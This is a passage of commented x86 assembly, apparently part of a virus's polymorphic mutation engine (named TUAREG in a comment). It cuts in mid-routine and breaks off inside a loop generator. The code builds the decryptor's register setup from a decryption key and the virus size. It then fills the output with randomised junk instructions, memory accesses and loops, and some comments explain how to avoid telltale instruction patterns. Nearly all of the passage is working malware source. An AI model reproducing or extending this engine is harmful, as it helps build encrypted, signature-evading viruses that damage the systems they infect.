EndOfRecursiveMOVing:
|
||
@@End: dec byte ptr [ebp+MOVingRecursLevel]
|
||
mov [esp+S_EDI], edi
|
||
popad
|
||
ret
|
||
DoXORRegReg endp
|
||
|
||
DoADDRegReg proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@NoRecursives
|
||
|
||
@@Other: call Random
|
||
and al, 3
|
||
jz @@Other
|
||
cmp al, 2
|
||
jb @@Direct
|
||
jz @@LEA
|
||
|
||
call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@Direct
|
||
xchg dh, dl
|
||
call DoMOVMemReg
|
||
call DoRandomGarbage
|
||
xchg dh, dl
|
||
call DoADDRegMem
|
||
call ReleaseVar
|
||
jmp EndOfRecursiveMOVing
|
||
|
||
@@LEA: mov ax, 048Dh
|
||
cmp dh, dl
|
||
jz @@Direct
|
||
cmp dh, 5
|
||
jz @@LEA_x
|
||
cmp dl, 5
|
||
jz @@LEA_y
|
||
call RandomFlags
|
||
jz @@LEA_x
|
||
@@LEA_y: xchg dh, dl
|
||
@@LEA_x: stosw
|
||
mov al, dl
|
||
shl dh, 3
|
||
or al, dh
|
||
stosb
|
||
jmp EndOfRecursiveMOVing
|
||
|
||
@@NoRecursives:
|
||
call RandomFlags
|
||
jz @@Direct
|
||
jmp @@LEA
|
||
|
||
@@Direct: mov ax, 0C001h
|
||
jmp DoXXXRegReg
|
||
DoADDRegReg endp
|
||
|
||
DoSUBRegReg proc
|
||
pushad
|
||
inc byte ptr [ebp+MOVingRecursLevel]
|
||
cmp byte ptr [ebp+MOVingRecursLevel], 5
|
||
jae @@Direct
|
||
call RandomFlags
|
||
jz @@Direct
|
||
call GetAndReserveVar
|
||
or ebx, ebx
|
||
jz @@Direct
|
||
xchg dh, dl
|
||
call DoMOVMemReg
|
||
call DoRandomGarbage
|
||
xchg dh, dl
|
||
call DoSUBRegMem
|
||
call ReleaseVar
|
||
jmp EndOfRecursiveMOVing
|
||
|
||
@@Direct: mov ax, 0C029h
|
||
jmp DoXXXRegReg
|
||
DoSUBRegReg endp
|
||
|
||
;; This set of three functions are called using RandomCalling to call them
|
||
;; in a random order, because the order doesn't matter here. This functions
|
||
;; set the initial value to Index1, Index2 and Key registers.
|
||
SetIndex2Register proc
|
||
mov eax, [ebp+InitialValue] ; Get the initial value
|
||
mov dl, [ebp+Index2Register] ; Get Index2Register
|
||
call DoMOV ; Make a move operation
|
||
call DoRandomGarbage ; Make garbage
|
||
ret ; Return
|
||
SetIndex2Register endp
|
||
|
||
;; Set the Index1 register initial value
|
||
SetIndex1Register proc
|
||
mov dl, [ebp+Index1Register] ; Get Index1Register
|
||
call Random ; Generate a random addition for the
|
||
and eax, Virus_SizePOW2 - 4 ; PRIDE technique
|
||
call DoMOV ; Make a move operation
|
||
call DoRandomGarbage ; Make garbage
|
||
ret ; Return
|
||
SetIndex1Register endp
|
||
|
||
;; Set the Key register value
|
||
SetKeyRegister proc
|
||
mov dl, [ebp+KeyRegister] ; Get KeyRegister
|
||
mov eax, [ebp+DecryptKey] ; Get decryption key
|
||
call DoMOV ; Make a move operation
|
||
call DoRandomGarbage ; Make garbage
|
||
mov byte ptr [ebp+KeyIsInit], 1
|
||
ret ; Return
|
||
SetKeyRegister endp
|
||
|
||
KeyIsInit db 0
|
||
|
||
;; Here it is the most used function of this engine. This function calls up to
|
||
;; three times to the function Garbage, which generates a single garbage ins-
|
||
;; truction (in the case it doesn't select any recursive type).
|
||
DoRandomGarbage proc
|
||
push eax
|
||
call Random
|
||
and eax, 3 ; Get a random number between 0 and 3
|
||
call RandomFlags
|
||
jz @@Check0
|
||
cmp eax, 1
|
||
jbe @@End
|
||
dec eax
|
||
jmp @@Loop
|
||
@@Check0: or eax, eax
|
||
jz @@End
|
||
@@Loop: call Garbage ; Call the main function of garbage
|
||
dec eax
|
||
jnz @@Loop ; Repeat EAX times
|
||
@@End: pop eax ; Restore EAX
|
||
ret ; Return
|
||
DoRandomGarbage endp
|
||
|
||
GarbageRecursivity db 0 ; This variable is incremented each time
|
||
; we enter in Garbage, and decreased when
|
||
; we exit. With this, we can control the
|
||
; garbage quantity on recursive types, and
|
||
; we can have a closer control when creating
|
||
; subroutines.
|
||
|
||
;; The main garbage generator. It can generate garbage of many types, and it
|
||
;; can be recursively called (some types of garbage are composed of two or
|
||
;; more instructions, so DoRandomGarbage is called between).
|
||
Garbage proc
|
||
pushad ; Save all
|
||
inc byte ptr [ebp+GarbageRecursivity] ; Increase the num-
|
||
; ber of active instances of Garbage
|
||
cmp byte ptr [ebp+GarbageRecursivity], 5 ; If we are too
|
||
jz @@Return ; high on recursive instances, exit
|
||
call RandomFlags ; Do we make garbage?
|
||
jz @@Make1
|
||
js @@Make1
|
||
jp @@DontMake
|
||
|
||
@@Make1: call Random ; Get a random type
|
||
and al, 3
|
||
jz @@GeneralWithValue ; Let's do a common type with direct
|
||
; value
|
||
cmp al, 2
|
||
jb @@GeneralWithReg ; Common type with a random register
|
||
jz @@NotEasyOnes ; Some complex ones
|
||
;; Some mixed types. We can do XCHG, MOVZX, MOVSX, INC, DEC and PUSH/
|
||
;; POP pairs
|
||
@@SomeMore: call RandomFlags
|
||
jz @@Make1
|
||
and ah, 3
|
||
jz @@XCHG ; Do XCHG
|
||
cmp ah, 2
|
||
jb @@MOVZXSX ; Do MOVZX or MOVSX
|
||
jz @@INCDEC ; Do INC or DEC
|
||
|
||
;; Let's do PUSH Reg/Garbage/POP Reg
|
||
@@PUSHPOP:
|
||
@@PUSHPOP32: cmp byte ptr [ebp+GarbageRecursivity], 4
|
||
jz @@Make1 ; If we can't do more garbage (many recursive
|
||
; calls), select another type
|
||
call SelectAnyRegisterWithInit ;Get an initialized register
|
||
add al, 50h
|
||
stosb ; PUSH it
|
||
mov esi, edi ; Save the current storage address (EDI)
|
||
@@PUSHPOP_4: call DoRandomGarbage ; Make garbage
|
||
cmp esi, edi ; Current EDI=Saved EDI?
|
||
jz @@PUSHPOP_4 ; Then, it means that no garbage were
|
||
; generated, so jump to make again
|
||
@@PUSHPOP_2: call SelectARegister ; Select a not-reserved register
|
||
add al, 58h ; Construct a POP
|
||
stosb ; Store the opcode
|
||
jmp @@Return ; Return
|
||
|
||
;; Let's make XCHG Reg32,Reg32, XCHG Reg16,Reg16 or XCHG Reg8,Reg8
|
||
@@XCHG: call RandomFlags
|
||
jz @@XCHG32 ; XCHG Reg32,Reg32 with a 75% of probability,
|
||
js @@XCHG8 ; XCHG Reg8,Reg8 with a 25% of probability
|
||
@@XCHG32: call SelectARegisterWithInit ; Get a not-reserved initiali-
|
||
mov dl, al ; zed register and save it in DL
|
||
@@XCHG_01: call SelectARegisterWithInit ; Get another not-reserved
|
||
; initialized register
|
||
cmp dl, al ; Is the same register?
|
||
jz @@XCHG_01 ; Then, select another
|
||
or al, al ; EAX?
|
||
jz @@XCHGWithEAX2 ; Then, use the optimized opcode
|
||
or dl, dl ; EAX?
|
||
jz @@XCHGWithEAX ; Then use the optimized opcode (1 byte)
|
||
mov ah, 0C0h
|
||
or ah, al
|
||
mov al, 87h
|
||
shl dl, 3 ; Construct the opcode with the two registers.
|
||
or ah, dl ; The opcode is 87 C0+Reg1*8+Reg2
|
||
stosw ; Store the opcode
|
||
jmp @@Return ; Return
|
||
@@XCHGWithEAX2:
|
||
mov al, dl ; Set the other register (the one which isn't
|
||
; EAX) in AL
|
||
@@XCHGWithEAX:
|
||
add al, 90h ; Add the mask of the opcode of XCHG Reg,EAX
|
||
stosb ; Store the opcode
|
||
jmp @@Return ; Return
|
||
@@XCHG8: call SelectAReg8 ; Get a 8 bits register
|
||
cmp al, 8 ; Test if we can select anyone (maybe the
|
||
; four reserved registers are casually
|
||
; all the E?X)
|
||
jz @@Make1 ; If we can't, select another type of garbage
|
||
mov dl, al ; Save it in DL
|
||
call SelectAReg8 ; Get a 8 bits register
|
||
cmp dl, al ; Is it the same?
|
||
jz @@Make1 ; If it's the same, select another type of
|
||
; garbage, because maybe only one E?X can be
|
||
; selected for garbage
|
||
add al, 0C0h ; Set the mask of "register usage" in the
|
||
; second opcode
|
||
shl dl, 3
|
||
add al, dl ; Set the other register
|
||
mov ah, al
|
||
mov al, 86h ; Put the main opcode (86h) in AL
|
||
stosw ; Store the 2 bytes opcode
|
||
jmp @@Return ; Return
|
||
|
||
;; Here we make MOVZX Reg32,Reg8/Reg16 or MOVSX Reg32,Reg8/Reg16
|
||
@@MOVZXSX: call SelectARegister ; Get a register
|
||
mov dl, al ; Save it in DL
|
||
@@MOVZX_01: call SelectAnyRegisterWithInit ;Get any init. register
|
||
cmp al, dl ; Is it the same?
|
||
jz @@MOVZX_01 ; If it's the same, select another
|
||
shl dl, 3 ; Set the register number in bits 5-4-3
|
||
push eax ; Save the second register
|
||
call Random ; Get a random number
|
||
mov al, 0Fh ; AL=Extended opcode (0Fh)
|
||
and ah, 9
|
||
add ah, 0B6h ; Get in AH a random B6h, B7h, BEh or BFh
|
||
; 0F B6: MOVZX Reg32,Any8
|
||
; 0F B7: MOVZX Reg32,Any16
|
||
; 0F BE: MOVSX Reg32,Any8
|
||
; 0F BF: MOVSX Reg32,Any16
|
||
stosw ; Store the opcode
|
||
pop eax ; Restore register
|
||
or al, 0C0h ; Activate "register usage" with the 8 or 16
|
||
; bits register
|
||
or al, dl ; Set the destiny register
|
||
stosb ; Store the third opcode
|
||
jmp @@Return ; Return
|
||
|
||
;; Make INC or DEC. This types are only INC Reg32 or INC Reg8
|
||
@@INCDEC: call RandomFlags
|
||
jc @@INC32 ; Make INC Reg32 with a 75% of probability
|
||
js @@INC8 ; Make INC Reg8 with a 25% of probability
|
||
@@INC32: call SelectARegisterWithInit ; Get a not-reserved initiali-
|
||
mov dl, al ; zed register and save it in DL
|
||
call Random
|
||
and al, 8 ; Get INC if AL=0 or DEC if AL=8
|
||
add al, 40h ; Add opcode mask
|
||
add al, dl ; Add register mask
|
||
stosb ; Store the opcode
|
||
jmp @@Return ; Return
|
||
;; 8 bits version
|
||
@@INC8: call SelectAReg8 ; Get a 8 bits register
|
||
cmp al, 8 ; If there aren't selectable 8 bits regis-
|
||
jz @@Make1 ; ters, select another type of garbage
|
||
mov dl, al ; Set the register in DL
|
||
call Random
|
||
and ah, 8 ; Get INC or DEC
|
||
add ah, dl ; Set the register in the second opcode
|
||
add ah, 0C0h ; Mask the second opcode for "register"
|
||
mov al, 0FEh ; AL=Main opcode. This opcode has some
|
||
; weird instructions that generate exceptions, since the other
|
||
; instructions are only for 32 bits, but you can play with the
|
||
; DEBUG and generate instructions like CALL AL (FEh D0h) :)
|
||
stosw ; Store the opcode
|
||
jmp @@Return ; Return
|
||
|
||
;; GeneralWithValue begins here. This part generates an instruction from the
|
||
;; common most used opcodes 80h and 81h. This time we select a not-reserved
|
||
;; register and then we make ADD, OR, ADC, SBB, AND, SUB, XOR or CMP (well,
|
||
;; that CMP is substituted by MOV). It's very easy to do.
|
||
@@Make1_: popf ; This is to restore flags from stack and
|
||
jmp @@Make1 ; jump to make another type of garbage
|
||
@@GeneralWithValue:
|
||
call RandomFlags ; Get a random type
|
||
pushf ; Save this new flags
|
||
jz @@GWV_32b
|
||
js @@GWV_32b ; Make a 32 bits one (75% of probability)
|
||
@@GWV_8b: call SelectAReg8 ; Get a 8 bits register
|
||
cmp al, 8 ; Can be selected?
|
||
jz @@Make1_ ; If not, jump (pop flags and select other
|
||
; type of garbage)
|
||
mov dl, al ; Save the register in DL
|
||
call Random
|
||
and al, 38h ; Get a random operation
|
||
cmp al, 38h ; Were we going to make CMP?
|
||
jnz @@GWV8_01 ; If not, continue
|
||
mov al, 0B0h ; Make a MOV
|
||
add al, dl ; Mask the register
|
||
stosb ; Store the opcode
|
||
jmp @@GWV_02 ; Jump to insert a random value
|
||
@@GWV8_01: or dl, dl ; Are we going to use AL?
|
||
jz @@GWV_AL ; If we use it, use its own opcode
|
||
mov ah, 80h ; Opcode 80h (OP Reg8,Value8)
|
||
jmp @@GWV_03 ; Jump and continue
|
||
|
||
@@GWV_32b: call SelectARegisterWithInit ; Get an initialized not-re-
|
||
; served 32 bits register
|
||
mov dl, al ; DL=Reg32
|
||
call Random
|
||
and al, 38h ; Get a random operation
|
||
cmp al, 38h
|
||
jnz @@GWV_01 ; If we were going to use CMP, use MOV
|
||
push edx
|
||
movzx edx, dl ; Check if the register is "touched". If it
|
||
cmp byte ptr [ebp+edx+TouchedRegisters], 1 ; is, we avoid
|
||
pop edx ; moving a value on it (it's very suspicious
|
||
; to have two MOVs one after another, so just
|
||
; in case before there is another MOV, we
|
||
; avoid it).
|
||
jz @@Make1_ ; If it's "touched", select another type of
|
||
; garbage
|
||
mov al, 0B8h ; MOV instead of CMP
|
||
add al, dl ; Mask the opcode
|
||
stosb ; Store the opcode
|
||
jmp @@GWV_02 ; Jump to store the value
|
||
@@GWV_01: or dl, dl ; EAX?
|
||
jz @@GWV_EAX ; Then use its own opcode
|
||
mov ah, 81h ; Opcode 81h (OP Reg32,Value32)
|
||
@@GWV_03: xchg ah, al ; Exchange the opcodes in AH and AL
|
||
or ah, 0C0h ; Mask the 2nd opcode
|
||
or ah, dl ; Set the register to the 2nd opcode
|
||
stosw ; Store the opcode
|
||
jmp @@GWV_02 ; Jump to complete the instruction
|
||
@@GWV_EAX: add al, 1
|
||
@@GWV_AL: add al, 4 ; If the register was AL, we add 4 to the opcode
|
||
; in AL to make OP AL,Value8. If the register
|
||
; was EAX, we add 5 to the opcode in AL to make
|
||
; OP EAX,Value32
|
||
stosb ; We store the opcode
|
||
@@GWV_02: call Random ; Get a random number in EAX
|
||
popf ; Restore flags to know wether to use 8 bits
|
||
jz @@Store32 ; or 32 bits to complete the instruction
|
||
js @@Store32
|
||
@@Store8: stosb ; Store a random byte to complete
|
||
jmp @@Return ; Return
|
||
@@Store32: stosd ; Store a random dword to complete
|
||
jmp @@Return ; Return
|
||
|
||
;; This part is similar to GeneralWithValue, but this time we use a random
|
||
;; register as source of operation, not a value.
|
||
@@GeneralWithReg:
|
||
call RandomFlags
|
||
jz @@GWR_32b
|
||
jc @@GWR_32b ; Select 32 bits instructions with a 75% of
|
||
; probability
|
||
@@GWR_8b: call SelectAReg8 ; Select a 8 bit register
|
||
cmp al, 8 ; Can we select them?
|
||
jz @@Make1 ; If not, we select another type of garbage
|
||
mov dl, al ; Save it in DL
|
||
@@GWR8_02: call SelectAReg8 ; Select another Reg8
|
||
mov dh, al ; Save it in DH
|
||
cmp dl, al ; Are they the same register?
|
||
jnz @@GWR8_01 ; If not, jump and use a random operation
|
||
call RandomFlags ; Jump to select another Reg8 with a 50%
|
||
jz @@GWR8_02 ; of probability
|
||
call Random
|
||
and ah, 8 ; Since the registers are equal, we select
|
||
add ah, 28h ; a more reliable instruction (XOR or SUB)
|
||
jmp @@GWR8_04 ; Jump to continue with this opcode
|
||
@@GWR8_01: call Random
|
||
@@GWR8_04: and ah, 38h ; Get a random operation
|
||
cmp ah, 38h ; Check if it's CMP
|
||
jnz @@GWR8_03 ; If it isn't jump
|
||
push edx
|
||
movzx edx, dl
|
||
and dl, 3
|
||
cmp byte ptr [ebp+edx+TouchedRegisters], 1
|
||
pop edx ; Is that register "touched"?
|
||
jz @@Make1 ; If it is, select other type of garbage
|
||
mov ah, 88h ; MOV instead of CMP
|
||
@@GWR8_03: mov al, ah ; Put it in AL
|
||
jmp @@GWR_04 ; Jump to make the instruction
|
||
|
||
@@GWR_32b: call SelectARegisterWithInit ; Select an initialized not-
|
||
mov dl, al ; reserved register and save it in DL
|
||
@@GWR32_01: call SelectAnyRegisterWithInit ; Get any initialized regis-
|
||
cmp dl, al ; ter and compare it with the selected before
|
||
jnz @@GWR_03 ; If it's different, jump
|
||
call RandomFlags ; If it's equal, repeat the register ob-
|
||
jz @@GWR32_01 ; tention with a 50% of probability
|
||
mov dh, al ; Save the register in DH
|
||
call Random ; Select XOR or SUB, which are the most re-
|
||
and ah, 8 ; liable instructions that can be used with
|
||
add ah, 28h ; the same source and operand register
|
||
jmp @@GWR_05 ; Jump and continue
|
||
@@GWR_03: mov dh, al ; Save the register
|
||
call Random
|
||
@@GWR_05: and ah, 38h ; Get a random operation
|
||
cmp ah, 38h ; CMP?
|
||
jnz @@GWR_02 ; If not, jump
|
||
push edx
|
||
movzx edx, dl
|
||
cmp byte ptr [ebp+edx+TouchedRegisters], 1
|
||
pop edx ; Is the register "touched"?
|
||
jz @@Make1 ; If it is, avoid MOV (and select another
|
||
; type of garbage)
|
||
mov ah, 88h ; MOV instead of CMP
|
||
@@GWR_02: mov al, ah ; Put the opcode in AL
|
||
inc eax ; Make it "32 bits"
|
||
@@GWR_04: mov ah, 0C0h ; 2nd opcode as "register usage"
|
||
call RandomFlags ; Get alternate?
|
||
jz @@GWR_01 ; Jump if not
|
||
add al, 2 ; Add 2 to the opcode...
|
||
xchg dh, dl ; ...and exchange source and destiny
|
||
@@GWR_01: shl dh, 3
|
||
or ah, dl
|
||
or ah, dh ; Set the registers in the 2nd opcode
|
||
stosw ; Store the opcode
|
||
jmp @@Return ; Return
|
||
|
||
;; Here we make various types of "difficult" garbage. In this part of the
|
||
;; function we construct CALLs, conditional jumps, memory read/writes or
|
||
;; LEAs with complicated sources.
|
||
@@NotEasyOnes: call RandomFlags
|
||
jz @@RecursiveOnes
|
||
js @@MemoryOperation
|
||
|
||
;; Here we construct a LEA
|
||
@@LEA: call SelectARegister ; Get a not-reserved register
|
||
mov dl, al
|
||
movzx edx, dl ; Check if the register is "touched"
|
||
cmp byte ptr [ebp+edx+TouchedRegisters], 1
|
||
jz @@Make1 ; If it is, select other type of garbage
|
||
@@LEA_00: call Random ; Get a type of LEA
|
||
and al, 3
|
||
jz @@LEA_00 ; AL=0: Repeat random getting
|
||
cmp al, 2
|
||
jb @@Direct ; AL=1: LEA Reg,[Direct_Value]
|
||
jz @@OneReg ; AL=2: LEA Reg,[Reg+Value]
|
||
|
||
;; Here we make: LEA Reg,[(X*)Reg+Reg+Value]
|
||
@@TwoRegs: mov ax, 848Dh ; LEA with three opcodes
|
||
shl dl, 3
|
||
or ah, dl ; Set the destiny register
|
||
stosw ; Store the first two bytes of the opcode
|
||
call Random ; Get a random byte
|
||
stosb ; Store it to get a completely random index
|
||
call Random ; Get a random addition
|
||
stosd ; Store it
|
||
jmp @@Return ; Return
|
||
|
||
;; Here we make: LEA Reg,[Reg+Value]
|
||
@@OneReg: call Random
|
||
and ah, 7
|
||
cmp ah, 4
|
||
jz @@OneReg ; Random register (not ESP) for source
|
||
add ah, 80h ; Set dword addition
|
||
@@LEA_01: shl dl, 3
|
||
or ah, dl ; Set the destiny register
|
||
mov al, 8Dh ; Main opcode of LEA
|
||
stosw ; Store the opcode
|
||
call Random
|
||
stosd ; Store a random addition
|
||
jmp @@Return ; Return
|
||
|
||
;; Here we make: LEA Reg,[Value]
|
||
@@Direct: mov ah, 05h ; Put this special opcode (direct value)
|
||
jmp @@LEA_01 ; Jump to complete the instruction
|
||
|
||
@@MemoryRead db 0 ; This variable signalizes a memory read or a me-
|
||
; mory write in the code below
|
||
@@Memo32bits db 0 ; This variable indicates if a 32 bits read/write
|
||
; is made, or we are doing a 8 bits one
|
||
|
||
;; Here we make a memory operation. We can make a read or write, and it can
|
||
;; be indexed, using the Key register, since it's the only one that doesn't
|
||
;; change its value (at least in this version of the TUAREG).
|
||
;; We have to be sure that the used memory addresses exist (even reads), due
|
||
;; to the fact that it's protected mode and the memory addresses are 32 bits,
|
||
;; not like DOS where we can read from anywhere.
|
||
@@MemoryOperation:
|
||
call RandomFlags
|
||
setz al ; Get a random AX being 0000h, 0001h, 0100h or
|
||
sets ah ; 0101h, to set @@MemoryRead and @@Memo32bits
|
||
mov word ptr [ebp+@@MemoryRead], ax ; with random 0 or 1
|
||
; and use them to construct the garbage instruction
|
||
call SelectAnAddressLow ; Get a random read/writing address
|
||
; in EBX
|
||
call RandomFlags ; Randomly, select the type of instruction
|
||
jz @@MW_WithReg ; If ZF, make a read/write with a reg
|
||
|
||
;; Make: OP [Memory_Address],Value
|
||
@@MW_WithValue:
|
||
call Random
|
||
and ah, 38h ; Get a random operation
|
||
cmp ah, 38h ; CMP?
|
||
jz @@MW_WV_MOV ; Then, do MOV
|
||
mov al, 80h ; Set main opcode
|
||
jmp @@MW_Continue01 ; Jump
|
||
@@MW_WV_MOV: mov ax, 00C6h ; C6 = Opcode of MOV
|
||
@@MW_Continue01:
|
||
call RandomFlags ; Indexed?
|
||
jz @@MW_WV_NotIndexed
|
||
js @@MW_WV_NotIndexed
|
||
jc @@MW_WV_Indexed
|
||
jp @@MW_WV_NotIndexed
|
||
; Select indexed with a (12.5%+6.25%) of probability
|
||
;; This is the indexed one. We can do OP Reg,[Reg2+Value] (or the reverse)
|
||
@@MW_WV_Indexed:
|
||
cmp byte ptr [ebp+KeyIsInit], 1
|
||
jnz @@MW_WV_NotIndexed ; If it isn't set yet, then make a
|
||
; not indexed operation
|
||
call RandomFlags
|
||
jz @@MW_WV_NotThird
|
||
js @@MW_WV_NotThird
|
||
or ah, 04h ; Activate third opcode
|
||
call RandomFlags
|
||
pushf
|
||
jz @@MW_WV_Mult_32b
|
||
js @@MW_WV_Mult_8b
|
||
@@MW_WV_Mult_32b:
|
||
inc eax
|
||
@@MW_WV_Mult_8b:
|
||
stosw
|
||
@@MW_WV_RepeatMult:
|
||
call Random
|
||
and al, 3
|
||
jz @@MW_WV_RepeatMult
|
||
mov cl, al
|
||
mov al, byte ptr [ebp+KeyRegister]
|
||
shl al, 3
|
||
or al, 5
|
||
mov edx, [ebp+DecryptKey]
|
||
shl edx, cl
|
||
ror cl, 2
|
||
or al, cl
|
||
stosb
|
||
sub ebx, edx
|
||
jmp @@MW_WVGb
|
||
@@MW_WV_NotThird:
|
||
or ah, 80h ; Mask the opcode for dword addition
|
||
or ah, byte ptr [ebp+KeyRegister] ; Set the key register
|
||
sub ebx, [ebp+DecryptKey] ; Subtract the value of the
|
||
; key register to the memory address
|
||
jmp @@MW_WV_01 ; Jump to complete the instruction
|
||
;; Here we make not indexed operations
|
||
@@MW_WV_NotIndexed:
|
||
add ah, 5 ; Direct value inside the brackets
|
||
@@MW_WV_01:
|
||
call RandomFlags
|
||
pushf
|
||
jz @@MW_WV32b
|
||
js @@MW_WV8b ; Select 8 or 32 bits
|
||
|
||
@@MW_WV32b: inc eax ; If 32 bits, increase the main opcode
|
||
@@MW_WV8b: stosw ; Store the opcode
|
||
@@MW_WVGb: mov eax, ebx ; Complete with the addition or the direct
|
||
stosd ; memory address
|
||
call Random ; Get a random value in EAX
|
||
popf
|
||
jz @@Store32 ; If 32 bits, complete with a random dword
|
||
js @@Store8 ; value. If not, complete with only a byte
|
||
jmp @@Store32
|
||
|
||
;; Here we use a random register instead of a value. This time we can make
|
||
;; reads or writes (with value we can only do writes). If we write to me-
|
||
;; mory, we can use any of the seven general purpose registers. If it's
|
||
;; a read, only a not-reserved one.
|
||
@@MW_WithReg:
|
||
cmp byte ptr [ebp+@@MemoryRead], 1 ; Read or write?
|
||
jnz @@MW_WR_80 ; Jump if write
|
||
cmp byte ptr [ebp+@@Memo32bits], 1 ; 8 or 32 bits?
|
||
jz @@MW_WR_79 ; Jump if 32 bits
|
||
;; Here we make OP Reg8,[(Reg+)Value]
|
||
call SelectAReg8 ; Select a 8 bits register
|
||
cmp al, 8 ; Can we select anyone?
|
||
jz @@MemoryOperation ; If not, select another type of op.
|
||
jmp @@MW_WR_81 ; Jump and continue
|
||
;; Here we make OP Reg32,[(Reg+)Value]
|
||
@@MW_WR_79: call SelectARegister ; Select a not-reserved register
|
||
jmp @@MW_WR_81 ; Jump and continue
|
||
;; Here we make OP [(Reg+)Value],Reg8/32
|
||
@@MW_WR_80: call SelectAnyRegisterWithInit ; Select any register, and
|
||
; initialize it to a random value if it isn't
|
||
; set with a value
|
||
@@MW_WR_81: mov dl, al ; Save the register in DL
|
||
call Random ; Get an operation
|
||
and al, 38h
|
||
call RandomFlags ; Select indexed or not
|
||
jz @@MW_WR_NotIndexed
|
||
js @@MW_WR_NotIndexed
|
||
jc @@MW_WR_Indexed
|
||
jp @@MW_WR_NotIndexed
|
||
;; Here if we use indexation using the Key register
|
||
@@MW_WR_Indexed:
|
||
cmp byte ptr [ebp+KeyIsInit], 1 ; If the key register
|
||
jnz @@MW_WR_NotIndexed ; isn't set with its value, then
|
||
; we can't do this, so make a not
|
||
; indexed memory operation
|
||
call RandomFlags
|
||
jz @@MW_WR_NotThird
|
||
js @@MW_WR_NotThird
|
||
cmp al, 38h ; CMP?
|
||
jnz @@MW_WR_99 ; If not, jump
|
||
mov al, 88h ; If CMP, substitute it by MOV
|
||
@@MW_WR_99:
|
||
mov ah, 4h
|
||
shl dl, 3
|
||
or ah, dl
|
||
mov cl, byte ptr [ebp+@@Memo32bits]
|
||
add al, cl
|
||
mov cl, byte ptr [ebp+@@MemoryRead]
|
||
add al, cl
|
||
add al, cl
|
||
stosw
|
||
@@MW_WR_RepeatMult:
|
||
call Random
|
||
and eax, 3
|
||
jz @@MW_WR_RepeatMult
|
||
mov ecx, eax
|
||
mov eax, 1
|
||
shl eax, cl
|
||
@@MW_WR_Subtract:
|
||
sub ebx, [ebp+DecryptKey]
|
||
dec eax
|
||
jnz @@MW_WR_Subtract
|
||
mov al, [ebp+KeyRegister]
|
||
shl al, 3
|
||
or al, 5
|
||
ror cl, 2
|
||
or al, cl
|
||
stosb
|
||
jmp @@MW_WR_02
|
||
|
||
@@MW_WR_NotThird:
|
||
mov ah, 80h ; Mask with dword addition
|
||
or ah, byte ptr [ebp+KeyRegister] ; Put the indexation
|
||
; register in the opc.
|
||
sub ebx, [ebp+DecryptKey] ; Calculate the addition
|
||
shl dl, 3
|
||
or ah, dl ; Set the destiny register
|
||
cmp al, 38h ; CMP?
|
||
jnz @@MW_WR_01 ; If not, jump
|
||
mov al, 88h ; If CMP, substitute it by MOV
|
||
jmp @@MW_WR_01 ; Jump to continue
|
||
;; Here to make with no indexation (direct memory address)
|
||
@@MW_WR_NotIndexed:
|
||
mov ah, 05h ; Direct value inside brackets
|
||
@@MW_WR_Cont01:
|
||
shl dl, 3
|
||
or ah, dl ; Set the destiny register
|
||
cmp al, 38h ; CMP?
|
||
jnz @@MW_WR_01 ; If not, avoid
|
||
@@MW_WR_MOV:
|
||
or dl, dl ; EAX?
|
||
jz @@MW_WR_EAX ; Then, use its own opcode for MOV
|
||
mov al, 88h ; Substitute CMP by MOV
|
||
jmp @@MW_WR_01 ; Jump and continue
|
||
@@MW_WR_EAX:
|
||
mov al, 0A2h ; AL=Opcode of MOV [Value],AL. From this
|
||
; opcode we get the variants
|
||
call RandomFlags ; Select 8 or 32 bits
|
||
jz @@MW_WR_EAX3 ; Jump if 8 bits
|
||
@@MW_WR_EAX2:
|
||
inc eax ; Increase opcode to make MOV [Value],EAX
|
||
@@MW_WR_EAX3:
|
||
cmp byte ptr [ebp+@@MemoryRead], 1 ; Memory read?
|
||
jnz @@MW_WR_82 ; If not, jump and continue
|
||
sub al, 2 ; Make READ subtracting 2 to the opcode.
|
||
; Then we'll make MOV AL/EAX,[Value]
|
||
@@MW_WR_82:
|
||
stosb ; Store the opcode
|
||
jmp @@MW_WR_02 ; Jump to insert the memory address
|
||
; Not EAX in the register
|
||
@@MW_WR_01:
|
||
cmp byte ptr [ebp+@@MemoryRead], 1 ; Memory read?
|
||
jnz @@ContinueMW ; If not, continue
|
||
cmp byte ptr [ebp+@@Memo32bits], 1 ; 32 bits?
|
||
jz @@MW_WR_32b ; If 32 bits, jump
|
||
jmp @@MW_WR_8b ; Avoid opcode increment
|
||
; Here to memory write
|
||
@@ContinueMW: call RandomFlags ; Decide: 8 or 32 bits?
|
||
jz @@MW_WR_8b ; If 8, jump
|
||
@@MW_WR_32b:
|
||
inc eax ; Convert opcode to 32 bits operation from a
|
||
@@MW_WR_8b: ; a 8 bits opcode
|
||
cmp byte ptr [ebp+@@MemoryRead], 1 ; Read or write?
|
||
jnz @@MW_WR_83 ; If write, jump
|
||
add al, 2 ; Convert write opcode to read opcode
|
||
@@MW_WR_83:
|
||
stosw ; Store the opcode
|
||
@@MW_WR_02:
|
||
mov eax, ebx
|
||
stosd ; Store the memory address (or calculated addition)
|
||
jmp @@Return ; Jump to return
|
||
|
||
;; Here we make recursive garbage. We can do a CALL to a subroutine (where
|
||
;; we need more garbage) or a comparision and a conditional jump, where we
|
||
;; have to make garbage between the jump and the destination address, since
|
||
;; we can't assure that the conditional jump is going to be taken or not,
|
||
;; or a call to a KERNEL32 function.
|
||
@@RecursiveOnes:
|
||
cmp byte ptr [ebp+GarbageRecursivity], 4 ; Too many recur-
|
||
; sive instances of function Garbage?
|
||
jz @@Make1 ; If too many, make another type of garbage
|
||
cmp byte ptr [ebp+ImInRandomLoop], 1
|
||
jz @@Make1
|
||
call RandomFlags
|
||
jz @@Recurs_002
|
||
js @@Recurs_002 ; Select CALL / Conditional jump
|
||
jp @@Recurs_002
|
||
;; Let's do a little loop (no more than seven loops). We use a reserved
|
||
;; register because we know that they won't be changed (we PUSH it and
|
||
;; later POP it)
|
||
@@RandomLoop: call Random
|
||
and eax, 3
|
||
cmp al, 2
|
||
jz @@RandomLoop ; Don't use key register
|
||
mov al, [ebp+eax+Index1Register]
|
||
cmp al, 08h
|
||
jz @@Make1
|
||
cmp byte ptr [ebp+eax+TouchedRegisters], 1
|
||
jnz @@Make1
|
||
mov byte ptr [ebp+ImInRandomLoop], 1
|
||
mov byte ptr [ebp+@@SelectedRegister], al
|
||
mov dl, al
|
||
add al, 50h
|
||
stosb ; Store PUSH
|
||
@@OtherRandom:
|
||
call Random ; Get a value that doesn't make any
|
